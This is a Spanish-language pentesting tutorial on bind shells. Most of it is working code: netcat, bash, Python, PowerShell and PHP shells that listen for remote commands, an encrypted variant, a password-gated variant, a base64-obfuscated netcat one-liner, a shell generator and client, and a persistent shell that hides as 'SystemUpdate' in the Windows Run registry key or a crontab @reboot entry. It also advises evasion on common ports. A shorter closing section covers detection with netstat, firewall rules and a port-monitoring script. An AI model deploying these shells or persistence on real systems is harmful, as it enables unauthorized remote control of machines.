Bind Shell - Técnicas de Conexión Directa
Bind Shell - Técnicas de Conexión Directa
Section titled “Bind Shell - Técnicas de Conexión Directa”Introducción
Section titled “Introducción”Una Bind Shell es una técnica de post-explotación donde el sistema comprometido abre un puerto y espera conexiones entrantes del atacante. A diferencia de las reverse shells, aquí el objetivo actúa como servidor y el atacante como cliente.
Conceptos Fundamentales
Section titled “Conceptos Fundamentales”¿Qué es una Bind Shell?
Section titled “¿Qué es una Bind Shell?”Una bind shell establece un listener en el sistema objetivo que:
- Abre un puerto específico
- Espera conexiones entrantes
- Proporciona acceso shell al conectarse
- Mantiene el control hasta que se cierre la conexión
Bind Shell vs Reverse Shell
Section titled “Bind Shell vs Reverse Shell”| Aspecto | Bind Shell | Reverse Shell |
|---|---|---|
| Dirección | Objetivo → Escucha | Atacante → Escucha |
| Conexión | Atacante se conecta | Objetivo se conecta |
| Firewall | Más problemático | Menos problemático |
| NAT | Requiere port forwarding | Funciona transparentemente |
| Detección | Puerto abierto visible | Conexión saliente normal |
Técnicas de Implementación
Section titled “Técnicas de Implementación”1. Netcat Bind Shell
Section titled “1. Netcat Bind Shell”Linux/Unix
Section titled “Linux/Unix”# En el objetivo (víctima)nc -lvp 4444 -e /bin/bash
# Desde el atacantenc 192.168.1.100 4444Windows
Section titled “Windows”# En el objetivo (víctima)nc.exe -lvp 4444 -e cmd.exe
# Desde el atacantenc.exe 192.168.1.100 44442. Bind Shell con Bash
Section titled “2. Bind Shell con Bash”Método FIFO
Section titled “Método FIFO”# En el objetivomkfifo /tmp/fcat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
# Desde el atacantenc 192.168.1.100 4444Método con Redirección
Section titled “Método con Redirección”# En el objetivobash -i >& /dev/tcp/0.0.0.0/4444 0>&1 &nc -lvp 4444
# Desde el atacantenc 192.168.1.100 44443. Python Bind Shell
Section titled “3. Python Bind Shell”Bind Shell Básica
Section titled “Bind Shell Básica”#!/usr/bin/env python3import socketimport subprocessimport os
def bind_shell(port): # Crear socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind al puerto s.bind(('0.0.0.0', port)) s.listen(1)
print(f"[+] Listening on port {port}")
while True: conn, addr = s.accept() print(f"[+] Connection from {addr[0]}:{addr[1]}")
while True: try: # Recibir comando command = conn.recv(1024).decode().strip() if not command or command.lower() == 'exit': break
# Ejecutar comando if command.startswith('cd '): try: os.chdir(command[3:]) conn.send(b"Directory changed\n") except: conn.send(b"Failed to change directory\n") else: output = subprocess.run(command, shell=True, capture_output=True, text=True) result = output.stdout + output.stderr conn.send(result.encode())
except Exception as e: conn.send(f"Error: {str(e)}\n".encode()) break
conn.close()
if __name__ == "__main__": bind_shell(4444)Bind Shell Avanzada con Cifrado
Section titled “Bind Shell Avanzada con Cifrado”#!/usr/bin/env python3import socketimport subprocessimport osimport base64from cryptography.fernet import Fernet
class EncryptedBindShell: def __init__(self, port, key=None): self.port = port if key: self.cipher = Fernet(key) else: # Generar clave key = Fernet.generate_key() self.cipher = Fernet(key) print(f"[+] Encryption key: {key.decode()}")
def encrypt(self, data): return base64.b64encode(self.cipher.encrypt(data.encode())).decode()
def decrypt(self, data): return self.cipher.decrypt(base64.b64decode(data.encode())).decode()
def start(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', self.port)) s.listen(1)
print(f"[+] Encrypted bind shell listening on port {self.port}")
while True: conn, addr = s.accept() print(f"[+] Connection from {addr[0]}:{addr[1]}")
# Enviar prompt inicial conn.send(self.encrypt("Shell ready. Enter commands:\n").encode())
while True: try: # Recibir comando cifrado encrypted_cmd = conn.recv(4096).decode().strip() if not encrypted_cmd: break
command = self.decrypt(encrypted_cmd) if command.lower() == 'exit': break
# Ejecutar comando if command.startswith('cd '): try: os.chdir(command[3:]) response = "Directory changed to: " + os.getcwd() except Exception as e: response = f"Failed to change directory: {str(e)}" else: output = subprocess.run(command, shell=True, capture_output=True, text=True) response = output.stdout + output.stderr
# Enviar respuesta cifrada encrypted_response = self.encrypt(response) conn.send(encrypted_response.encode())
except Exception as e: error_msg = self.encrypt(f"Error: {str(e)}") conn.send(error_msg.encode()) break
conn.close()
if __name__ == "__main__": shell = EncryptedBindShell(4444) shell.start()4. PowerShell Bind Shell (Windows)
Section titled “4. PowerShell Bind Shell (Windows)”Bind Shell Básica
Section titled “Bind Shell Básica”$port = 4444$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $port)$listener.Start()
Write-Host "[+] Bind shell listening on port $port"
while ($true) { $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $writer = [System.IO.StreamWriter]::new($stream) $reader = [System.IO.StreamReader]::new($stream)
$writer.WriteLine("PowerShell Bind Shell") $writer.Flush()
while ($client.Connected) { $writer.Write("PS> ") $writer.Flush()
$command = $reader.ReadLine() if ($command -eq "exit") { break }
try { $output = Invoke-Expression $command 2>&1 | Out-String $writer.WriteLine($output) } catch { $writer.WriteLine("Error: $($_.Exception.Message)") } $writer.Flush() }
$client.Close()}Técnicas de Evasión
Section titled “Técnicas de Evasión”1. Puertos No Estándar
Section titled “1. Puertos No Estándar”# Usar puertos comunes para evadir detecciónnc -lvp 80 -e /bin/bash # HTTPnc -lvp 443 -e /bin/bash # HTTPSnc -lvp 53 -e /bin/bash # DNSnc -lvp 22 -e /bin/bash # SSH (si no está en uso)2. Bind Shell con Autenticación
Section titled “2. Bind Shell con Autenticación”#!/usr/bin/env python3import socketimport subprocessimport hashlib
def authenticate(conn, password_hash): conn.send(b"Password: ") password = conn.recv(1024).decode().strip()
# Verificar hash if hashlib.sha256(password.encode()).hexdigest() == password_hash: conn.send(b"Authentication successful\n") return True else: conn.send(b"Authentication failed\n") return False
def bind_shell_with_auth(port, password): password_hash = hashlib.sha256(password.encode()).hexdigest()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', port)) s.listen(1)
print(f"[+] Authenticated bind shell on port {port}")
while True: conn, addr = s.accept() print(f"[+] Connection from {addr[0]}:{addr[1]}")
if not authenticate(conn, password_hash): conn.close() continue
# Shell loop aquí... # (código similar al ejemplo anterior)
if __name__ == "__main__": bind_shell_with_auth(4444, "mi_password_secreto")3. Bind Shell con Ofuscación
Section titled “3. Bind Shell con Ofuscación”#!/bin/bash# Ofuscar comandosCMD1=$(echo "bmMgLWx2cCA0NDQ0IC1lIC9iaW4vYmFzaA==" | base64 -d)CMD2=$(echo "L2Jpbi9iYXNo" | base64 -d)
# Variables ofuscadasP0RT=4444SH3LL=$CMD2
# Ejecutar bind shell ofuscadaeval $CMD1Scripts de Automatización
Section titled “Scripts de Automatización”Generador de Bind Shells
Section titled “Generador de Bind Shells”#!/bin/bashgenerate_netcat_bind() { local port=$1 local shell_type=$2
case $shell_type in "bash") echo "nc -lvp $port -e /bin/bash" ;; "sh") echo "nc -lvp $port -e /bin/sh" ;; "cmd") echo "nc.exe -lvp $port -e cmd.exe" ;; "powershell") echo "nc.exe -lvp $port -e powershell.exe" ;; esac}
generate_python_bind() { local port=$1 cat << EOFimport socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)s.bind(('0.0.0.0',$port))s.listen(1)while True: conn,addr=s.accept() while True: try: cmd=conn.recv(1024).decode().strip() if not cmd or cmd=='exit':break if cmd.startswith('cd '): os.chdir(cmd[3:]) conn.send(b'Directory changed\\n') else: output=subprocess.run(cmd,shell=True,capture_output=True,text=True) conn.send((output.stdout+output.stderr).encode()) except:break conn.close()EOF}
# Uso del scriptecho "[+] Bind Shell Generator"echo "1. Netcat Bash: $(generate_netcat_bind 4444 bash)"echo "2. Netcat CMD: $(generate_netcat_bind 4444 cmd)"echo ""echo "3. Python Bind Shell:"generate_python_bind 4444Cliente Automatizado
Section titled “Cliente Automatizado”#!/usr/bin/env python3import socketimport threadingimport sys
class BindShellClient: def __init__(self, host, port): self.host = host self.port = port self.socket = None
def connect(self): try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.host, self.port)) print(f"[+] Connected to {self.host}:{self.port}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False
def send_command(self, command): try: self.socket.send(command.encode() + b'\n') response = self.socket.recv(4096).decode() return response except Exception as e: print(f"[-] Error sending command: {e}") return None
def interactive_shell(self): def receive_data(): while True: try: data = self.socket.recv(4096).decode() if data: print(data, end='') else: break except: break
# Iniciar hilo para recibir datos receive_thread = threading.Thread(target=receive_data) receive_thread.daemon = True receive_thread.start()
# Loop principal para enviar comandos while True: try: command = input() if command.lower() == 'exit': break self.socket.send(command.encode() + b'\n') except KeyboardInterrupt: break
self.socket.close()
if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 bind_shell_client.py <host> <port>") sys.exit(1)
host = sys.argv[1] port = int(sys.argv[2])
client = BindShellClient(host, port) if client.connect(): client.interactive_shell()Casos de Uso Específicos
Section titled “Casos de Uso Específicos”1. Bind Shell en Aplicaciones Web
Section titled “1. Bind Shell en Aplicaciones Web”PHP Bind Shell
Section titled “PHP Bind Shell”<?php$port = 4444;$shell = '/bin/bash';
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);socket_bind($socket, '0.0.0.0', $port);socket_listen($socket, 1);
echo "[+] PHP Bind Shell listening on port $port\n";
while (true) { $client = socket_accept($socket);
while (true) { $command = socket_read($client, 1024); $command = trim($command);
if ($command == 'exit') break;
$output = shell_exec($command . ' 2>&1'); socket_write($client, $output); }
socket_close($client);}?>2. Bind Shell Persistente
Section titled “2. Bind Shell Persistente”Servicio Windows
Section titled “Servicio Windows”#!/usr/bin/env python3import socketimport subprocessimport threadingimport timeimport os
class PersistentBindShell: def __init__(self, port, restart_delay=30): self.port = port self.restart_delay = restart_delay self.running = True
def create_persistence(self): """Crear persistencia en el sistema""" try: # Windows - Registro if os.name == 'nt': import winreg key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(key, "SystemUpdate", 0, winreg.REG_SZ, sys.executable + " " + __file__) winreg.CloseKey(key)
# Linux - Crontab else: cron_job = f"@reboot python3 {__file__}\n" os.system(f'(crontab -l 2>/dev/null; echo "{cron_job}") | crontab -')
except Exception as e: print(f"[-] Failed to create persistence: {e}")
def bind_shell(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', self.port)) s.listen(1)
while self.running: try: conn, addr = s.accept()
while True: command = conn.recv(1024).decode().strip() if not command or command == 'exit': break
output = subprocess.run(command, shell=True, capture_output=True, text=True) result = output.stdout + output.stderr conn.send(result.encode())
conn.close()
except Exception as e: time.sleep(1) continue
except Exception as e: print(f"[-] Bind shell error: {e}") finally: s.close()
def start(self): # Crear persistencia self.create_persistence()
# Iniciar bind shell con reinicio automático while True: try: self.bind_shell() except Exception as e: print(f"[-] Shell crashed: {e}")
if not self.running: break
time.sleep(self.restart_delay)
if __name__ == "__main__": shell = PersistentBindShell(4444) shell.start()Detección y Defensa
Section titled “Detección y Defensa”Indicadores de Compromiso
Section titled “Indicadores de Compromiso”Puertos Abiertos Sospechosos
Section titled “Puertos Abiertos Sospechosos”# Verificar puertos en escuchanetstat -tulpn | grep LISTENss -tulpn | grep LISTEN
# Buscar procesos sospechososps aux | grep -E "(nc|netcat|python|bash)" | grep -v grep
# Verificar conexiones establecidasnetstat -an | grep ESTABLISHEDAnálisis de Tráfico
Section titled “Análisis de Tráfico”# Capturar tráfico sospechosotcpdump -i any -n port 4444
# Analizar con Wiresharkwireshark -k -i any -f "port 4444"Contramedidas
Section titled “Contramedidas”Firewall Rules
Section titled “Firewall Rules”# Bloquear puertos no autorizadosiptables -A INPUT -p tcp --dport 4444 -j DROPiptables -A OUTPUT -p tcp --sport 4444 -j DROP
# Windows Firewallnetsh advfirewall firewall add rule name="Block Bind Shell" dir=in action=block protocol=TCP localport=4444Monitoreo Proactivo
Section titled “Monitoreo Proactivo”#!/usr/bin/env python3import psutilimport socketimport time
def detect_suspicious_listeners(): """Detectar listeners sospechosos""" suspicious_ports = [4444, 4445, 1337, 31337, 8080, 9999]
for conn in psutil.net_connections(): if (conn.status == 'LISTEN' and conn.laddr.port in suspicious_ports):
try: process = psutil.Process(conn.pid) print(f"[!] Suspicious listener detected:") print(f" Port: {conn.laddr.port}") print(f" Process: {process.name()} (PID: {conn.pid})") print(f" Command: {' '.join(process.cmdline())}") print() except: pass
def monitor_network(): """Monitoreo continuo""" print("[+] Starting bind shell detection...")
while True: detect_suspicious_listeners() time.sleep(30)
if __name__ == "__main__": monitor_network()Mejores Prácticas
Section titled “Mejores Prácticas”Para Pentesters
Section titled “Para Pentesters”-
Selección de Puerto:
- Usar puertos comunes (80, 443, 53)
- Evitar puertos obviamente sospechosos
- Verificar que el puerto no esté en uso
-
Evasión:
- Implementar autenticación
- Usar cifrado en comunicaciones
- Ofuscar el código del bind shell
-
Persistencia:
- Implementar reconexión automática
- Crear múltiples puntos de acceso
- Usar técnicas de persistencia del sistema
Para Defensores
Section titled “Para Defensores”-
Monitoreo:
- Supervisar puertos en escucha
- Analizar tráfico de red anómalo
- Implementar alertas por nuevos listeners
-
Prevención:
- Configurar firewalls restrictivos
- Implementar segmentación de red
- Usar herramientas de detección de intrusiones
Recursos Adicionales
Section titled “Recursos Adicionales”Herramientas Relacionadas
Section titled “Herramientas Relacionadas”- Netcat: Herramienta básica para bind shells
- Socat: Versión avanzada con cifrado
- Ncat: Versión moderna de Netcat
- PowerCat: PowerShell version de Netcat
Documentación
Section titled “Documentación”Nota Legal: Esta información es para fines educativos y pentesting autorizado únicamente. El uso no autorizado puede ser ilegal.